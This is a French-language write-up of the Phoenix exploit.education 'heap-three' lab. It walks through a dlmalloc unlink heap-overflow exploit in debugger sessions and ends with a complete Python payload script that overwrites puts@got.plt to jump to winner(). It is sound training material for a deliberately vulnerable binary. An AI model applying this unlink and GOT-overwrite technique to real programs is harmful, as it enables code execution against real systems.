Phoenix exploit education heap-three
Heap three
Quatrième exercice heap de la suite Phoenix exploit education.
Source
/*
* phoenix/heap-three, by https://exploit.education
*
* This level is linked against ftp://gee.cs.oswego.edu/pub/misc/malloc-2.7.2.c
* version 2.7.2, with a SHA1 sum of 407329d164e4989b59b9a828760acb720dc5c7db
* more commonly known as "dlmalloc", Doug Lea Malloc
*
* Can you hijack flow control, and execute winner()? Afterwards, how
* about your own code? This level is solvable on Linux i386 easily enough,
* as for other architectures, it may not be possible, or may require some
* creativity - let me know what you come up with :)
*
* My friend told me that nothing rhymes with orange.
* I told them, "No, it doesn't".
*
* Or, more seriously, https://www.youtube.com/watch?v=lPcR5RVXHMg
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
void winner() {
printf("Level was successfully completed at @ %ld seconds past the Epoch\n",
time(NULL));
}
int main(int argc, char **argv) {
char *a, *b, *c;
a = malloc(32);
b = malloc(32);
c = malloc(32);
strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);
free(c);
free(b);
free(a);
printf("dynamite failed?\n");
}
On a simplement 3 allocations de blocs de 32 octets et la recopie sans précaution des 3 paramètres en arguments dans ces zones.
Ensuite ils sont libérés en dépilant.
Observation du fonctionnement.
On envoie trois arguments avec la taille maximum (32 octets) Breakpoint sur le premier free:
b *0x0804888b
gef> r $(printf "%032d %032d %032d" 0 1 2)
Avant le free(c)
gef> x/40xw 0xf7e69000
0xf7e69000: 0x00000000 0x00000029 0x30303030 0x30303030
0xf7e69010: 0x30303030 0x30303030 0x30303030 0x30303030
0xf7e69020: 0x30303030 0x30303030 0x00000000 0x00000029
0xf7e69030: 0x30303030 0x30303030 0x30303030 0x30303030
0xf7e69040: 0x30303030 0x30303030 0x30303030 0x31303030
0xf7e69050: 0x00000000 0x00000029 0x30303030 0x30303030
0xf7e69060: 0x30303030 0x30303030 0x30303030 0x30303030
0xf7e69070: 0x30303030 0x32303030 0x00000000 0x000fff89
0xf7e69080: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69090: 0x00000000 0x00000000 0x00000000 0x00000000
gef> x/20x &av_
0x804c1c0 <av_>: 0x00000048 0x00000000 0x00000000 0x00000000
0x804c1d0 <av_+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c1e0 <av_+32>: 0x00000000 0x00000000 0x00000000 0xf7e69078 top
0x804c1f0 <av_+48>: 0x00000000 0x00000000 0x00000000 0x0804c1f4
0x804c200 <av_+64>: 0x0804c1f4 0x0804c1fc 0x0804c1fc 0x0804c204
La sructure av_ correspond à la “main_arena” du processus qui contient en particulier les tables des têtes de liste des fastbins libres. (on la verra plus loin dans le source).
Après le free(c)
ni
gef> x/40xw 0xf7e69000
0xf7e69000: 0x00000000 0x00000029 0x30303030 0x30303030
0xf7e69010: 0x30303030 0x30303030 0x30303030 0x30303030
0xf7e69020: 0x30303030 0x30303030 0x00000000 0x00000029
0xf7e69030: 0x30303030 0x30303030 0x30303030 0x30303030
0xf7e69040: 0x30303030 0x30303030 0x30303030 0x31303030
0xf7e69050: 0x00000000 0x00000029 *0x00000000 0x30303030
0xf7e69060: 0x30303030 0x30303030 0x30303030 0x30303030
0xf7e69070: 0x30303030 0x32303030 0x00000000 0x000fff89
0xf7e69080: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69090: 0x00000000 0x00000000 0x00000000 0x00000000
Le pointeur a été placé dans la liste des fastchunks de la structure av_
gef> x/20x &av_
0x804c1c0 <av_>: 0x0000004b 0x00000000 0x00000000 0x00000000
0x804c1d0 <av_+16>: *0xf7e69050 0x00000000 0x00000000 0x00000000
0x804c1e0 <av_+32>: 0x00000000 0x00000000 0x00000000 0xf7e69078
0x804c1f0 <av_+48>: 0x00000000 0x00000000 0x00000000 0x0804c1f4
0x804c200 <av_+64>: 0x0804c1f4 0x0804c1fc 0x0804c1fc 0x0804c204
Après free(b)
gef> x/40xw 0xf7e69000
0xf7e69000: 0x00000000 0x00000029 0x30303030 0x30303030
0xf7e69010: 0x30303030 0x30303030 0x30303030 0x30303030
0xf7e69020: 0x30303030 0x30303030 0x00000000 0x00000029
0xf7e69030: *0xf7e69050 0x30303030 0x30303030 0x30303030
0xf7e69040: 0x30303030 0x30303030 0x30303030 0x31303030
0xf7e69050: 0x00000000 0x00000029 0x00000000 0x30303030
0xf7e69060: 0x30303030 0x30303030 0x30303030 0x30303030
0xf7e69070: 0x30303030 0x32303030 0x00000000 0x000fff89
0xf7e69080: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69090: 0x00000000 0x00000000 0x00000000 0x00000000
gef> x/20x &av_
0x804c1c0 <av_>: 0x0000004b 0x00000000 0x00000000 0x00000000
0x804c1d0 <av_+16>: *0xf7e69028 0x00000000 0x00000000 0x00000000
0x804c1e0 <av_+32>: 0x00000000 0x00000000 0x00000000 0xf7e69078
0x804c1f0 <av_+48>: 0x00000000 0x00000000 0x00000000 0x0804c1f4
0x804c200 <av_+64>: 0x0804c1f4 0x0804c1fc 0x0804c1fc 0x0804c204
Après free(a)
gef> x/40xw 0xf7e69000
0xf7e69000: 0x00000000 0x00000029 *0xf7e69028 0x30303030
0xf7e69010: 0x30303030 0x30303030 0x30303030 0x30303030
0xf7e69020: 0x30303030 0x30303030 0x00000000 0x00000029
0xf7e69030: 0xf7e69050 0x30303030 0x30303030 0x30303030
0xf7e69040: 0x30303030 0x30303030 0x30303030 0x31303030
0xf7e69050: 0x00000000 0x00000029 0x00000000 0x30303030
0xf7e69060: 0x30303030 0x30303030 0x30303030 0x30303030
0xf7e69070: 0x30303030 0x32303030 0x00000000 0x000fff89
0xf7e69080: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c1c0 <av_>: 0x0000004b 0x00000000 0x00000000 0x00000000
0x804c1d0 <av_+16>: *0xf7e69000 0x00000000 0x00000000 0x00000000
0x804c1e0 <av_+32>: 0x00000000 0x00000000 0x00000000 0xf7e69078
0x804c1f0 <av_+48>: 0x00000000 0x00000000 0x00000000 0x0804c1f4
0x804c200 <av_+64>: 0x0804c1f4 0x0804c1fc 0x0804c1fc 0x0804c204
On peut effectuer un débordement par exemple du second bloc et modifier la taille du chunck suivant.
r $(printf "%032d %032dAAAAC %032d" 0 1 2)
Apres free(b)
gef> x/20x &av_
0x804c1c0 <av_>: 0x0000004b 0x00000000 0x00000000 0x00000000
0x804c1d0 <av_+16>: *0xf7e69028 0x00000000 0x00000000 *0xf7e69050
0x804c1e0 <av_+32>: 0x00000000 0x00000000 0x00000000 0xf7e69078
0x804c1f0 <av_+48>: 0x00000000 0x00000000 0x00000000 0x0804c1f4
0x804c200 <av_+64>: 0x0804c1f4 0x0804c1fc 0x0804c1fc 0x0804c204
La seule conséquence est de changer le bloc de freelist tant que la taille reste en dessous de la taille max des fastbins.
Analyse du source malloc.c
La code du free se trouve dans cette fonction :
void fREe(Void_t* mem)
Une variable de type mstate correspond à la plus moderne main_arena
mstate av = get_malloc_state();
On distingue d’abord le test de distinction fastbin/smallbin
if ((CHUNK_SIZE_T)(size) <= (CHUNK_SIZE_T)(av->max_fast)
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
set_fastchunks(av);
fb = &(av->fastbins[fastbin_index(size)]);
p->fd = *fb;
*fb = p;
}
La structure av correspond à la “main_arena” du processus.
struct malloc_state {
/* The maximum chunk size to be eligible for fastbin */
INTERNAL_SIZE_T max_fast; /* low 2 bits used as flags */
/* Fastbins */
mfastbinptr fastbins[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2];
/* Bitmap of bins. Trailing zero map handles cases of largest binned size */
unsigned int binmap[BINMAPSIZE+1];
...
};
La taille max d’un fastbin est stockée dans le premier mot de la structure av_.
On a pu observé plus haut : 0x804c1c0 <av_>: 0x0000004b 0x00000000 0x00000000 0x00000000
Si on remplace la taille par une valeur de plus que 4b on aura un free de smallbin. Rappel issu du source de la scructure d’un chunk :
Free chunks are stored in circular doubly-linked lists, and look like this:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
head: | Size of chunk, in bytes |P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
foot: | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Si le bit P est à zero le chunck précédent est sensé être libre on va fusionner les deux blocs libre en consolidant les pointeurs forward et back du bloc précédent:
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd);
}
Avec la macro :
/* Take a chunk off a bin list */
#define unlink(P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
FD->bk = BK; \
BK->fd = FD; \
}
Le bloc précédent est localisé avec la taille qui est sensée être placée en début du chunk. Le pointeurs de blocs précédents P->fd->bk = P->bk P->bk->fw = P->fd
On peut résumer ça pour la libération du chunk p en :
P=p-prev_size
FD=*(P+12) // FD = P->fd;
BK=*(P+8) // BK = P->bk;
*(FD+8) = BK // FD->bk = BK
*(BK+12)=FD // BK->fd = FD
P=p-prev_size
*(*(P+12)+8) = BK
*(*(P+8)+12) = FD
On va effectuer un debordement de “a” pour modifier la taille de “b” avec la valeur 0x80. Le bit prev_inuse est à zero : le chuck subira le traitement de consolidation.
r $(python -c 'print("A"*32+"EEEE\x80"+" "+"B"*32+" "+"C"*32)' )
free(0xf7e69030)
0xf7e69020: 0x41414141 0x41414141 0x45454545 0x00000080
prev_size sz=0x80 P=0
0xf7e69030: 0x42424242 0x42424242 0x42424242 0x42424242
0x8049924 <free+205> neg eax
0x8049926 <free+207> add DWORD PTR [ebp-0xc], eax
0x8049929 <free+210> mov eax, DWORD PTR [ebp-0xc]
→ 0x804992c <free+213> mov eax, DWORD PTR [eax+0x8]
0x804992f <free+216> mov DWORD PTR [ebp-0x2c], eax
0x8049932 <free+219> mov eax, DWORD PTR [ebp-0xc]
0x8049935 <free+222> mov eax, DWORD PTR [eax+0xc]
0x8049938 <free+225> mov DWORD PTR [ebp-0x30], eax
0x804993b <free+228> mov eax, DWORD PTR [ebp-0x2c]
On observe la valeur de eax :
$eax : 0xb2a14ae3
hex(0xf7e69030-0xb2a14ae3) ‘0x4545454d’
La valeur contenue dans eax corresponde à : eax = adresse_mem - prev_sz - 8 C’est l’adresse du chunk précédent
Elle est dans la variable locale ebp-0xc
0x8049929 <free+210> mov eax, DWORD PTR [ebp-0xc]
ebp-2c = [ebp-0xc + 8 ] Cette séquence correspond à :
ebp-0xc + 12 = [ebp-0xc+8]
P+12 = [P + 8]
On peut donc effectuer l’operation :
p-prev_sz-8+12 = [p-prev_sz-8+8] c’est à dire p-prev_sz+4 = [p-prev_sz]
On doit déborder de [prevsz|taillebloc] avec un taille de bloc >80 et le bit P a zéro.
Le problème est que les tailles de bloc normales vont introduire des octets à zéro
Ex: pour un une taille du bloc précédent à 160
ex: 000000a0 00000080
.
Astuce : mettre une taille négative pour que les octets de gauches soient à 1.
Avec un valeur de -16 par exemple 0xfffffff0
.
En outre cela a pour effet de situer le “bloc précédent” dans le bloc courant.
Essayons d’injecter un taille de bloc précédent à -16 et une taille de bloc courant à 128 suivit d’un liste d’octets distincts qui nous permette d’observer leur utilisation.
"A"*32+"\xf0\xff\xff\xff\x80"+" "+"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef "+"C"*32
r $(python -c 'print("A"*32+"\xf0\xff\xff\xff\x80"+" "+"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef "+"C"*32)' )
Program received signal SIGSEGV, Segmentation fault.
0x08049941 in free ()
0x804993e <free+231> mov edx, DWORD PTR [ebp-0x30]
→ 0x8049941 <free+234> mov DWORD PTR [eax+0xc], edx
0x8049944 <free+237> mov eax, DWORD PTR [ebp-0x30]
On a eax et edx:
$eax : 0x54535251 ("QRST"?)
$edx : 0x58575655 ("UVWX"?)
gef> x/20x 0xf7e69030
0xf7e69030: 0x44434241 0x48474645 0x4c4b4a49 0x504f4e4d
0xf7e69040: 0x54535251 0x58575655 0x62615a59 0x66656463
eax edx
0xf7e69050: 0x00000000 0x00000029 0x00000000 0x43434343
on veut ecrire en eax+12 la valeur de edx
Essayons d’écrire en 0xf7e69030
le contenu de 0xf7e69034
.
r $(python -c 'print("A"*32+"\xf0\xff\xff\xff\x80"+" "+"ABCDEFGHIJKLMNOP\x24\x90\xe6\xf7ZZZZ"+" "+"C"*32)' )
On doit écrire ZZZZ a l’adresse 0x7fe69024+12
Program received signal SIGSEGV, Segmentation fault.
0x0804994a in free ()
0x8049947 <free+240> mov edx, DWORD PTR [ebp-0x2c]
→ 0x804994a <free+243> mov DWORD PTR [eax+0x8], edx
0x804994d <free+246> mov eax, DWORD PTR [ebp-0x14]
$eax : 0x5a5a5a5a ("ZZZZ"?)
$edx : 0xf7e69024 → 0x41414141 ("AAAA"?)
gef> x/20x 0xf7e69030
0xf7e69030: 0x5a5a5a5a 0x48474645 0x4c4b4a49 0x504f4e4d
0xf7e69040: 0xf7e69024 0x5a5a5a5a 0x2e2e2e2e 0x2e2e2e2e
0xf7e69050: 0x00000000 0x00000029 0x00000000 0x43434343
0xf7e69060: 0x43434343 0x43434343 0x43434343 0x43434343
0xf7e69070: 0x43434343 0x43434343 0x00000000 0x000fff89
On a bien écrit 0x5a5a5a5a
en 0xf7e69030
En revanche on plante encore
On veut écrire en eax+8 la valeur 0xf7e69024
ce qui correspond à la seconde opération de la consolidation.
*(FD+8) = BK
P=p-prev_size
FD=*(P+12) // FD = P->fd;
BK=*(P+8) // BK = P->bk;
*(BK+12)=FD // BK->fd = FD
*(FD+8) = BK // FD->bk = BK
Donc si on pose à l’offset 16 les adresses X Y On écrit Y a l’adresse de X+12 On écrit X a l’adresse de Y+8
Il faut donc que l’adresse de Y+8 soit inscriptible.
Prenons X=0xf7e69030 et Y=0xf7e69030
"A"*32+"\xf0\xff\xff\xff\x80"+" "+"ABCDEFGHIJKLMNOP\x24\x90\xe6\xf7\x30\x90\xe6\xf"+" "+"C"*32
r $(python -c 'print("A"*32+"\xf0\xff\xff\xff\x80"+" "+"ABCDEFGHIJKLMNOP\x24\x90\xe6\xf7\x30\x90\xe6\xf7........"+" "+"C"*32)' )
Program received signal SIGSEGV, Segmentation fault.
0x08049994 in free ()
0xf7e69000: 0x00000000 0x00000029 0x41414141 0x41414141
0xf7e69010: 0x41414141 0x41414141 0x41414141 0x41414141
0xf7e69020: 0x41414141 0x41414141 0xfffffff0 0x00000080
0xf7e69030: 0xf7e69030 0x48474645 0xf7e69024 0x504f4e4d
ok ok
0xf7e69040: 0xf7e69024 0xf7e69030 0x2e2e2e2e 0x2e2e2e2e
Mais on plant un peu plus loin
0x804998b <free+308> mov DWORD PTR [ebp-0x30], eax
0x804998e <free+311> mov eax, DWORD PTR [ebp-0x2c]
0x8049991 <free+314> mov edx, DWORD PTR [ebp-0x30]
=> 0x8049994 <free+317> mov DWORD PTR [eax+0xc], edx
0x8049997 <free+320> mov eax, DWORD PTR [ebp-0x30]
0x804999a <free+323> mov edx, DWORD PTR [ebp-0x2c]
0x804999d <free+326> mov DWORD PTR [eax+0x8], edx
0x80499a0 <free+329> mov eax, DWORD PTR [ebp-0x24]
$eax : 0x0
$ebx : 0xffffd6c0 => 0x00000004
$ecx : 0x0
$edx : 0x0
On se trouve la dans la séquence de consolidation FW qui utilise la taille du chunk actuellement à 0x80. Là encore on doit utiliser l’astuce de la valeur négative. Heureusement cette valeur va être utilisée comme non signée dans la comparaison avec la limite des taille de fast_chunks : max_fast.
Prenons la valeur 0xffffffffffd8
: -40 (0x28) qui va nous placer au début du chunk “a”.
A cette adresse on doit trouver des adresses FK et BK valides.
gef> r $(python -c 'print("\x08\x90\xe6\xf7\x08\x90\xe6\xf7"+"A"*24+"\xf0\xff\xff\xff\xd8\xff\xff\xff"+" "+"B"*16+"\x24\x90\xe6\xf7\x30\x90\xe6\xf7"+" "+"C"*32)' )
Avant second free free(b)
gef> x/32x 0xf7e69000
0xf7e69000: 0x00000000 0x00000029 0xf7e69008 0xf7e69008
fake BK fake FD
0xf7e69010: 0x41414141 0x41414141 0x41414141 0x41414141
0xf7e69020: 0x41414141 0x41414141 0xfffffff0 0xffffffd8
-16 -40
0xf7e69030: 0x42424242 0x42424242 0x42424242 0x42424242
0xf7e69040: 0xf7e69024 0xf7e69030 0x00000000 0x00000000
X Y
0xf7e69050: 0x00000000 0x00000029 0x00000000 0x43434343
0xf7e69060: 0x43434343 0x43434343 0x43434343 0x43434343
0xf7e69070: 0x43434343 0x43434343 0x00000000 0x000fff89
Après
gef> x/32x 0xf7e69000
0xf7e69000: 0x00000000 0x00000028 0xf7e69008 0xf7e69008
0xf7e69010: 0xf7e69008 0xf7e69008 0x41414141 0x41414141
0xf7e69020: 0x41414141 0x41414141 0xfffffff0 0xffffffd8
0xf7e69030: 0xf7e69030 0x42424242 0xf7e69024 0xfffffff1
Y X
0xf7e69040: 0x0804c1f4 0x0804c1f4 0x00000000 0x00000000
av->bins[0] av->bins[0]
0xf7e69050: 0x00000000 0x000fffb1 0x00000000 0x43434343
0xf7e69060: 0x43434343 0x43434343 0x43434343 0x43434343
0xf7e69070: 0x43434343 0x43434343 0x00000000 0x000fff89
Les valeurs X=0xf7e69024 Y=0xf7e69030 on bien été écrites en 0xf7e69030+8 et 0xf7e69024+12
On a bien un outil pour une écriture à une adresse maîtrisée.
On peut envisager d’écrire l’adresse de winner dans la got dans l’entrée d’une fonction qui est appelée ensuite.
Après le troisième free on appelle puts.
0x080488a7 <+171>: call 0x8049857 <free>
0x080488ac <+176>: add esp,0x10
0x080488af <+179>: sub esp,0xc
0x080488b2 <+182>: push 0x804abc2
0x080488b7 <+187>: call 0x80485b0 <puts@plt>
0x080488bc <+192>: add esp,0x10
gef> x/3i 0x80485b0
0x80485b0 <puts@plt>: jmp DWORD PTR ds:0x804c13c
0x80485b6 <puts@plt+6>: push 0x28
0x804c13c <puts@got.plt>: 0x080485b6
et
gef> p winner
$2 = {<text variable, no debug info>} 0x80487d5 <winner>
On peut donc écrire dans puts@got.plt : 0x804c13c
Si on pose
X=0x804c130 Y=0x80487d5
On va écrire 0x80487d5 dans 0x804c130+0xc 0x804c13c
Mais aussi
0x804c130 dans 0x80487d5+8
On ne peut donc pas utiliser directement l’adresse de winner.
Il faut réaliser un rebond dans une zône inscriptible On pourrait utiliser le troisième free et remplacer son adresse dans la got par un gadget jmp esp.
gef> ropper --jmp esp
JMP Instructions
================
0x0804ac4b: jmp esp;
0x0804acc3: jmp esp;
0x0804acfb: call esp;
Mais malloc a été linké en statique !!! donc free n’est pas dans la section GOT.
On va donc plutôt utiliser une adresse du tas pour y poser une séquence de code.
On a la place 16 octets dans le buffer a l’adresse 0xf7e69à18
:
gef> x/32x 0xf7e69000
0xf7e69000: 0x00000000 0x00000028 0xf7e69008 0xf7e69008
0xf7e69010: 0xf7e69008 0xf7e69008 0x41414141 0x41414141
---------- ----------
0xf7e69020: 0x41414141 0x41414141 0xfffffff0 0xffffffd8
---------- ----------
0xf7e69030: 0xf7e69030 0x42424242 0xf7e69024 0xfffffff1
0xf7e69040: 0x0804c1f4 0x0804c1f4 0x00000000 0x00000000
0xf7e69050: 0x00000000 0x000fffb1 0x00000000 0x43434343
0xf7e69060: 0x43434343 0x43434343 0x43434343 0x43434343
0xf7e69070: 0x43434343 0x43434343 0x00000000 0x000fff89
Pour écrire l’adresse 0xf7e69018 dans l’entrée got.puts : 0x804c13c On va poser X=0xf7e6918 B=0x804c134
[Y+8]=X on veux écrire 0xf7e6908 en 0x804c13c
[X+12] = Y On va écrire 0x804c134 en 0xf7e69014.
Dans “a” on va poser un pseudo shellcode 0xcc (int 3) c’est à dire un point d’arrêt.
gef> r $(python -c 'print("\x08\x90\xe6\xf7\x08\x90\xe6\xf7"+"\xcc"*24+"\xf0\xff\xff\xff\xd8\xff\xff\xff"+" "+"B"*16+"\x18\x90\xe6\xf7\x34\xc1\x04\x08"+" "+"C")' )
Après le free(b)
gef> x/32x 0xf7e69000
0xf7e69000: 0x00000000 0x00000028 0xf7e69008 0xf7e69008
0xf7e69010: 0xf7e69008 0xf7e69008 0xcccccccc 0xcccccccc
0xf7e69020: 0xcccccccc 0x0804c134 0xfffffff0 0xffffffd8
0xf7e69030: 0x42424242 0x42424242 0x42424242 0xfffffff1
0xf7e69040: 0x0804c1f4 0x0804c1f4 0x00000000 0x00000000
0xf7e69050: 0x00000000 0x000fffb1 0x00000000 0x00000000
0xf7e69060: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69070: 0x00000000 0x00000000 0x00000000 0x000fff89
gef> x/1x 0x0804c13c
0x804c13c <puts@got.plt>: 0xf7e69018
c
[#0] Id 1, Name: "heap-three", stopped, reason: SIGTRAP
[#0] 0xf7e69019 → int3
C’est bon.
On remplace le int 3
par un saut vers winner.
rasm2 "jmp 0x80487d5"
e9d0870408
Le problème est que l’instruction e9 est un saut relatif. L’adresse doit être calculée en relatif par rapport a l’adresse de l’instruction suivante. L’instruction se trouve en 0xf7e69018 donc le saut est relatif a 0xf7e6901d (l’instruction fait 5 octets).
>>> hex(0x080487d5 - 0xf7e6901d )
'-0xefe20848'
>>> hex(0x100000000 - 0xefe20848)
'0x101df7b8'
L’instruction est donc codée : e9b8f71d10
r $(python -c 'print("\x08\x90\xe6\xf7\x08\x90\xe6\xf7"+"AAAAAAAA\xe9\xb8\xf7\x1d\x10"+"A"*11+"\xf0\xff\xff\xff\xd8\xff\xff\xff"+" "+"B"*16+"\x18\x90\xe6\xf7\x34\xc1\x04\x08"+" "+"C")' )
Breakpoint 2, 0x080488a7 in main ()
gef> x/24x 0xf7e69000
0xf7e69000: 0x00000000 0x00000028 0xf7e69008 0xf7e69008
0xf7e69010: 0xf7e69008 0xf7e69008 0x1df7b8e9 0x41414110
0xf7e69020: 0x41414141 0x0804c134 0xfffffff0 0xffffffd8
0xf7e69030: 0x42424242 0x42424242 0x42424242 0xfffffff1
0xf7e69040: 0x0804c1f4 0x0804c1f4 0x00000000 0x00000000
0xf7e69050: 0x00000000 0x000fffb1 0x00000000 0x43000000
gef> c
Continuing.
Level was successfully completed at @ 1590006849 seconds past the Epoch
[Inferior 1 (process 858) exited normally]
Script final en python.
#!/usr/bin/python
#coding: utf-8
import struct
def p32(n):
return struct.pack('<I',n)
# jmp to winner from 0xf7e69018
JMP_WINNER="\xe9\xb8\xf7\x1d\x10"
# Shellcode address in A
ADR_SC=struct.pack('<I',0xf7e69018)
# got.puts - 8
GOTPUTS=p32(0x0804c134)
ARG1=p32(0xf7e69008) # Fake FD
ARG1+=p32(0xf7e69008) # Fake BK
ARG1+="A"*8 # Junk
ARG1+=JMP_WINNER # jmp @winner
ARG1+="A"*(32 - len(ARG1)) # Junk
ARG1+=p32(0xfffffff0) # prev_size : -16
ARG1+=p32(0xffffffd8) # size=-40, PREV_IN_USE=false
ARG2="B"*16 # Junk for FD,BK
ARG2+=ADR_SC # @ JMP_WINNER
ARG2+=GOTPUTS # got.puts - 8
ARG3="C" # Unused
print(" ".join([ARG1,ARG2,ARG3]))
Execution :
$ /opt/phoenix/i486/heap-three $(python heap-3.py)
Level was successfully completed at @ 1590153731 seconds past the Epoch
Conclusion
Ce write-up restitue une expérience de mise en œuvre et conserve les essais infructueux dans la mesures où il me semblaient intéressants ainsi que des choix non optimums conservés aussi .
On a en particulier deux différences avec les solutions suivantes qui sont meilleures :
D’abord le débordement depuis le chunck A dans le chunck B complique inutilement le travail. En débordant du B vers le C on a plus de place pour installer le shellcode dans le A et moins de problème de consolidation Forward.
Le code de rebond avec un jmp présente l’inconvénient d’être dépendant de l’adresse d’implantation.
La séquence
push 0x080487d5; ret
est plus portable car elle ne dépends pas de l’implantation du code.
/opt/phoenix/i486/heap-three $(python -c 'print("\x08\x90\xe6\xf7\x08\x90\xe6\xf7"+"AAAAAAAA\x68\xd5\x87\x04\x08\xc3"+"A"*10+"\xf0\xff\xff\xff\xd8\xff\xff\xff"+" "+"B"*16+"\x18\x90\xe6\xf7\x34\xc1\x04\x08"+" "+"C")' )
Level was successfully completed at @ 1590007922 seconds past the Epoch